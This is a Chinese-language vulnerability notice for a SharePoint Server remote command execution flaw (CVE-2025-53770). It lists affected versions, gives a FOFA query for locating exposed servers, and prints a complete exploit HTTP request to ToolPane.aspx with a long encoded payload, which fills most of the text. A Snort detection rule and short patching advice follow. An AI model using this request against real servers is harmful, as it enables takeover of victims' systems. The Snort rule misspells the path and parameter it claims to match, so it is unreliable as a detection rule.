

MicrosoftSharePointServer-CVE-2025-53770-远程命令执行

MicrosoftSharePointServer-CVE-2025-53770-远程命令执行，攻击者可进行任意命令执行，导致服务器被控。

影响版本

- Microsoft SharePoint Server 2016 < 16.0.5513.1001
- Microsoft SharePoint Server 2019 < 16.0.10417.20037
- Microsoft SharePoint Server Subscription Edition < 16.0.18526.20508

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：header="MicrosoftSharePointTeamServices"

POC/EXP：

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 7646
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Cookie: cookiesession1=678A8C36A68A9A0D4DB151EFB48327D4
Referer: /_layouts/SignOut.aspx

MSOT1Pn Uri=https%3a//your-
ip/_controltemplates/15/AclEditor.ascx&MSOT1Pn_DWP=%3c%25%40%20Register%20Tagpref
ix%3d%22gizpnoz1cjfutvbn%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22Sys
tem.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyTo
ken%3d31bf3856ad364e35%22%20%25%3e0a%3c%25%40%20Register%20Tagprefix%3d%22sjqjbo
ucouuj%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d
%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Cult
ure%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e0a%20%20%3cgizpn
oz1cjfutvbn%3aupdateProgress%3e0a%20%20%20%20%3cProgressTemplate%3e0a%20%20%20%
20%20%20%3csjqjboucouuj%3aExcelDataSet%20CompressedDataTable%3d%22H4sIAAAAAAAAA2F
%2Bx763KjSjAw5%2Ft2J2Jndn%2FtCzj8d7rLgKQq6KqIzIRILDABolbTnTECDPISoRGGJD0Cvsu%2B6
S9kz1IqI6721xdXR2x2%2Bmwu0TjK%2Bew55y8cPGni4uLn3766sdyJexf%2F9%2FFxYux3ZVVkr8ZBVX
w3awTrMt5sfzYf8ORv%2B8uxRpx9Tr5uEzqah3g7y7v6xDPo9tkNyswyfJj%2B05dMIgGb%2F1hr59wN8
N%2FJcj%2Fs40T%2FkyTivT1b16Op1GW5MffvRyP5g8PyjrI%2F%2FQnUvfn%2F39xcfhff%2FmwLd%2B
XFORYm%2BN1%2BFHqit2835Yfr7Kqwr%2Fvm6a5k3Te10s02uB4%2FhrT58wtAfYvIyDKvh4Va%2BXLb
by%2B3werYuyeki%2Bj4r8%2FTbH3zOoq8t5%2FPGQLPEPJvJdfXdf%2Fz18kkhZCU4yZn1dbkM8us8w
SXD9F4tw2Y%2FX1xrojm%2Bt8tErNfrZF1NiijASvv9TD%2BHVqIix%2BFk09utkheggpBZMY%2BSy3y%
2BViuie11%2BVOKuLvNge3iq12FRL%2BMkfqm711nMkuxFIR%2B04KetyuSfdbKMxtvkeTJXzfIoaSJ%2
FQSPHQ9YEXQLjJKrmxbJ8oyTLZD2P3kzmZfUP%2Fu9%2F71rpnF1v51FSv1GXvbJebvintF0FRG7uolit
kvu%2FhGMDNwnf2OqbsVHKxToPqipzF3d5qvuaUCt1HGYP7x54Ph5wQS%2F48btjx%2FnlXDQ1I%2FIuf
Eyitizer4vNPcb93q%2BTml1wAWFRXgd50hTrxVeQ00PDh97N4G0Q9972k97gxx%2BPPJ0J6FfWET%2F%
2BehvZUSVty%2FfBckcudnVuwdevNaLrL7MiCv96w6Xgrbv9bhxeHwfiS2P65%2Fv9TF%2BMS%2BrHfvj
zv1xcXPzX4kM8f3h11%2B%2FZJci%2FyvgXngzFz7U5dPT9hn%2FwQxb84usyIP7ksqwb%2BNxZEOKTk1
wxzd06TtbugbvQWCKwbBMk%2FLj1XxZjuvq837sw6pZHS PF%2FofjxffzVkfYyyg5Bzn4FVhm56zmieu
4e%2Bi6ik8H8Teg%2BPI1Y%2BNatSSM8DVj8MP9uiDsJPH9ulgl62rhvxbk6kmVFBER5MkPo6RM1vMAZ%
2FfJh%2Bv0%2By%2FCdB8Q71cl6%2FJLoknrfr6FCrb1%2FP3B7cxvy2o9X6ZXP1w30m4hpQCYAID76%2
Bvr6xsIjswk93e8Myh6Fg6ng1EobEvkGlzgDutoNxxgd4CjHD90Fttv1LNS3alCu4f3seJuk8vWuHTOyy
xuq0gwnlG%2Bxfmyj0FDsKKHwLW60my1zNWSW6rxg%2FhaGmsQqEvAwBUESXEaImm5LegBAFzyjUGJ6
FRGFmm76DFHYxZu%2Fogya9N0te1fsdyOkglNgowOKkcJQVGQQLgxyMwJ9UpUc%2BchXjsqrPFSgvcnC
2IQe3IS5U8cSV0GKU07ki%2F1DQ%2Bw3k0dQ6%2BJ2FLtbLvY0f080coxZ099tSnvszEMFP04FZ%2BAow
zvY%2B0N9L8%2FR0943ZihDI10wFhtvmDYlKsBHxHhT1ujfLuJd0QffBMkAxwuLSMULByKgxnytJXvb1
dJLlM9TRbyy6xgfCsgd1zd1E%2BXPqehw3Bobome%2Bp6Jmj%2FJPfd%2Bluu1Z9sEB1noYlFiteaIte
neofJaxAp9iR0ncrPnz21yJzv6SnoDweJZ3DI5wrHHaziMf6EpqkyLJHi7EZMX%2FdUNxZVCoQmUZXRk8
RON2xm6B%2BVJFpUb5pmK6QX0JRfwmH1FBak4IRLZvbis1eLDi56rymUFum2gytk9Q3D1ZxwjrlDcyOlF
dHJ7o1nQgyx37NwoTDYtxZZFgkZ57taicyIwn70lGGGJTT5PwsTpbGLPG1P5CJk1K6yKhd2kkTbjyhe7b
G2ix08QJ6qThv5H8h0zeJefqIGub675ZFHZKKPALB1suk%2FQw%2Bmdun7Go7m1lFXpjAsQ8UhtRIJl3o
9tz%2Fv%2F50s9e8blfIhpkwPYyZbksFRw1Hpud0u%2BGBBhtJBpvfX1wCI%2FaOLkcCXfdotuBu%2FK%
2B7AxNT2U6UP7L2ho1YReHoajbUN6mlZOIWPvjuow56Z%2BrmdRkunVhVcq5J1b%2B9gRXiapJwhzs0ja
1uyAZAaCjQRJf1acequckJmyiNNAaAK5SVtq2B%2FcstrWAs8kkke7AwcbIqvtMMMDtWSKLfA5hh41MA8
F8JIUhsAnOYAKBYgfUlg1FL91fL9XBFP1Hc4SQGA6poxdaw4%2Fzi2MalUGIB%2FxpIUCaFzstT2Ua6f%
2BGHy1F5qRIU1DnbI3w78pjwyg2bob%2FNpI4JNekrugb%2BDMft%2BUiCDMeVpp6jm55t9eRFdME8Jub
e3FolqQ3yemN8Q27qNugmAMdxJDQCrcjOmcCREY%2BPWJHUTHTZtfsc%2FROLMHe322YNSbkAa5MWFNP4
GgKiSNhp7nsVjBRxm8Z4C3ZZEtHTAqrwzA3du1LQH1Yudqw3SEU3k6VHSDTFuhvMTLORU8lg%2Bim%2F0
vpvpQE4PWDo6p8%2FRk%2BeDaRZHvmAKVoRkmeIXjHxyFchVTMUCaBwQieg0DozS0QAYh2Eqna4mgGRYM
H9vs2f5MOR8xwfg1sBJJtFqHyj0Whd66VU1RQ7ABqjmyACiBG5NYICPD3QTIDatwsQFEZCSyHUGRswN1t
8wfgkyUyTSH%2BPZau0jxk%2BYORRI5Net9yTngDS1mvVBkG%2BZMHcy1c9qpGxLINKg9IzhSkevgauCQ
xwAUhvPAahZ3IFH328vnTpwcIwmLKcI3C20sIGjJvr5grMHLC6tQoxFbzt3St%2FLMhYrDBiPrv3ganys
2OCiy2axLfbwPHC3JA84g%2BvQDTo5FvZTQMzjqzGFYeth4BJ51oNjcx0njgGrt3NnHynDohJsgASH83g
NRz1I6MFAfjFnnUWK8xi4chl4K4wAvPNDHju5XmaucwYL1Bjh81BFrrwg8RmMDfKSUV1Srcg%2BEDkwsy
EPFB2EAGKGLACW%2BBGQfWCZoAIjlvj4DoxsMDEBD0Y6MBrQo4OX2MEkd%2FNmymysyktIy5d5ZeSxc6EC
cxg892UfGnaiBHYE1U2BKqjgB117vxuLN4i2xHymTiDebyqQeqghogQjM%2Fp0IPkPPHFofAW2QIS%2FK
5wawD2vLyx6RBymfjPltwl168p%2FTcNY%2FnpteJb58p2mfqPM7YRAurDCU%2BC9z%2BwTYxmg4wodL66
PsbTAj%2B0ntGj%2FJH%2BQ0Lbj20%2F3wGmqpxTyv14NjPuFKZmmfQUiNScebsg%2FsBj4wvWgnQNbB
1IT3QoODr4EauVopvGenxCG8u%2F7bMyHkUK5PtzTYPEscm25JwElhBsYqwb8CSgoQCTwg9AFK4ayFXTA
80Czwvg1rmkb%2BLgnjEwQm3BD4QylJkKTJGZyr%2Boji7QPUQIX4R%2BonpQUIU5gd5Qyc8hNA4u%2BI
ZgT0agA4b506knogs9veJHTuid%2B1%2BMCAxiD0cwPCNkw1qh9R5iGQFEJncRSb8IsJH1FzDq8DUBP4S

sonrt规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"SharePoint - RCE via ToolPane.aspx (CVE-2025-53770)";  
  flow:to_server,established;  
  content:"POST"; http_method;  
  content:"/_layouts/15/ToolPane.aspx"; http_uri;  
  content:"DisplayMode=Edit"; http_uri;  
  content:"MSOTlpn Uri="; http_client_body;  
  pcre:"/MSOTlpn Uri=  
[^&]*%3a%2f%2f[^\%2f]+%2f_controltemplates%2f15%2fAcEditor\.aspx/i";  
  metadata:cve CVE-2025-53770;  
  metadata:affected_product "Microsoft SharePoint Server";  
  metadata:vulnerability_type "Server-Side Template Injection";  
  classtype:web-application-attack;  
  sid:1000380;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。